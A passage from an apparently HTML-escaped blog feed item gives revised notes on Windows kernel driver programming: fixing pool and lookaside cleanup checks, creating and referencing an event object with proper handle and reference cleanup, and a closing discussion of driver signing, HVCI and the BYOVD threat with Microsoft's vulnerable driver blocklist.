null pointer when the allocation failed, and leak everything that succeeded”, exactly backwards. It’s &lt;code&gt;!= NULL&lt;/code&gt; above now. The compiler won’t warn you about this kind of bug, but Driver Verifier’s &lt;code&gt;UnsafeAllocatePool&lt;/code&gt; and pool tracking will catch it.&lt;/p&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;p&gt;Also, if the lookaside list is a long-lived, driver-wide thing, it belongs in the device extension, set up in &lt;code&gt;DriverEntry&lt;/code&gt; and deleted in &lt;code&gt;DriverUnload&lt;/code&gt;. Building and tearing it down inside a single call’s &lt;code&gt;do { } while(FALSE)&lt;/code&gt; makes it slower than just using the pool directly.&lt;/p&gt;&lt;/blockquote&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Kernel objects and handles&lt;a href=&quot;#kernel-objects-and-handles&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Objects that the kernel creates, manages and destroys are kernel objects. User mode gets a handle (an index into the process’s handle table). In kernel mode, to get the object itself, you turn the handle into a pointer with &lt;code&gt;ObReferenceObjectByHandle&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;HANDLE hCreateEvent &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;PVOID  pCreateEventObject &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;OBJECT_ATTRIBUTES ObjAttr &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; { &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; };&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;UNICODE_STRING uNameString &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; { &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; };&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;uNameString&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; L&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\\&lt;/span&gt;&lt;span&gt;BaseNamedObjects&lt;/span&gt;&lt;span&gt;\\&lt;/span&gt;&lt;span&gt;TestEvent&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;InitializeObjectAttributes&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;ObjAttr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;uNameString&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                           &lt;/span&gt;&lt;/span&gt;&lt;span&gt;OBJ_KERNEL_HANDLE &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;&lt;span&gt; OBJ_CASE_INSENSITIVE&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;NTSTATUS status &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ZwCreateEvent&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;hCreateEvent&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; EVENT_ALL_ACCESS&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;ObjAttr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;SynchronizationEvent&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FALSE&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;NT_SUCCESS&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;&lt;span&gt; /* handle the failure */&lt;/span&gt;&lt;span&gt; }&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;status &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ObReferenceObjectByHandle&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hCreateEvent&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; EVENT_ALL_ACCESS&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                                   &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;&lt;span&gt;ExEventObjectType&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; KernelMode&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                                   &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;pCreateEventObject&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;A few more things to keep in mind:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Check the &lt;code&gt;NTSTATUS&lt;/code&gt; to see whether it worked, not whether the handle is NULL. When &lt;code&gt;ZwCreateEvent&lt;/code&gt; fails, the handle isn’t written at all&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OBJ_KERNEL_HANDLE&lt;/code&gt; puts the handle only in the kernel handle table, so user mode can’t open it. That’s the default choice when a driver opens an object&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ObReferenceObjectByHandle&lt;/code&gt; adds a reference, and you must call &lt;code&gt;ObDereferenceObject&lt;/code&gt; when you’re done, or the object never gets freed&lt;/li&gt;
&lt;li&gt;Close the handle with &lt;code&gt;ZwClose&lt;/code&gt; and drop the object reference with &lt;code&gt;ObDereferenceObject&lt;/code&gt;. Those are two separate debts&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;The cleanup conditions here had to be fixed as well. Back then I wrote them all backwards, &lt;code&gt;if (pCreateEventObject == NULL) ObDereferenceObject(...)&lt;/code&gt;, which dereferences a null pointer and misses every reference that actually needed dropping. The correct cleanup is:&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (pCreateEventObject &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;) { &lt;/span&gt;&lt;span&gt;ObDereferenceObject&lt;/span&gt;&lt;span&gt;(pCreateEventObject); pCreateEventObject &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;; }&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (hCreateEvent       &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;) { &lt;/span&gt;&lt;span&gt;ZwClose&lt;/span&gt;&lt;span&gt;(hCreateEvent);               hCreateEvent       &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;; }&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;One more small trap. Including &lt;code&gt;ntddk.h&lt;/code&gt; and &lt;code&gt;ntifs.h&lt;/code&gt; together causes conflicts. Put &lt;code&gt;ntifs.h&lt;/code&gt; first and it’s fine.&lt;/p&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;p&gt;The old notes also had a “Registry” section that only introduced hives. The code was empty and marked “to be continued”, so I didn’t keep it. Reading and writing the registry from the kernel is just &lt;code&gt;ZwOpenKey&lt;/code&gt; / &lt;code&gt;ZwQueryValueKey&lt;/code&gt; / &lt;code&gt;ZwSetValueKey&lt;/code&gt; with &lt;code&gt;OBJ_KERNEL_HANDLE&lt;/code&gt;, the same pattern as opening the Event above.&lt;/p&gt;&lt;/blockquote&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Looking at it again today&lt;a href=&quot;#looking-at-it-again-today&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;I wrote these in 2020. Moving the lab from Win7 to Win10, the biggest change actually wasn’t the API. It was that &lt;strong&gt;Microsoft’s attitude toward third-party drivers had changed&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;By 2020, getting a new driver signed through the hardware developer portal already required an EV certificate. And according to Microsoft’s docs, starting with Windows 10 1607 the system no longer loads any &lt;strong&gt;new&lt;/strong&gt; kernel driver that hasn’t been signed through the developer portal. Signing one with a certificate of your own doesn’t cut it anymore (cross-signing had already stopped working after 2015). At the same time, &lt;strong&gt;HVCI (Hypervisor-protected Code Integrity, called Memory integrity in Settings)&lt;/strong&gt; keeps spreading, and on Windows 11 a lot of machines have it on by default. It moves code integrity checks into a secure environment isolated by Hyper-V, where even the kernel can’t get around them, and that shuts down tricks like “patch kernel code, then run it” completely.&lt;/p&gt;&lt;p&gt;The other big thing in this area is &lt;strong&gt;BYOVD (Bring Your Own Vulnerable Driver)&lt;/strong&gt;. Instead of hunting for bugs in Windows itself, an attacker finds a &lt;strong&gt;legitimate, signed&lt;/strong&gt; third-party driver that has its own bug, loads it, and uses that bug to do whatever they want in the kernel. Because the driver is signed, HVCI doesn’t stop it. Microsoft’s answer is a &lt;strong&gt;blocklist of vulnerable drivers&lt;/strong&gt; (the Microsoft Vulnerable Driver Blocklist). It takes effect when HVCI is on and is enabled by default on Windows 11. The list gets updated once or twice a year, and it’s full of signed drivers that have been abused in the past.&lt;/p&gt;&lt;p&gt;So if you write a kernel driver today, getting the code right isn’t the whole job. Once a driver loads, it has the highest privilege there is, and any slip in input validation can become raw material for BYOVD. That’s also why the WDK now turns on a pile of Driver Verifier checks by default and flags old APIs like &lt;code&gt;ExAllocatePool&lt;/code&gt; as deprecated at compile time. They’re nudging you toward code that’s hard to exploit.&lt;/p&gt;&lt;/section&gt;</content:encoded></item></channel></rss>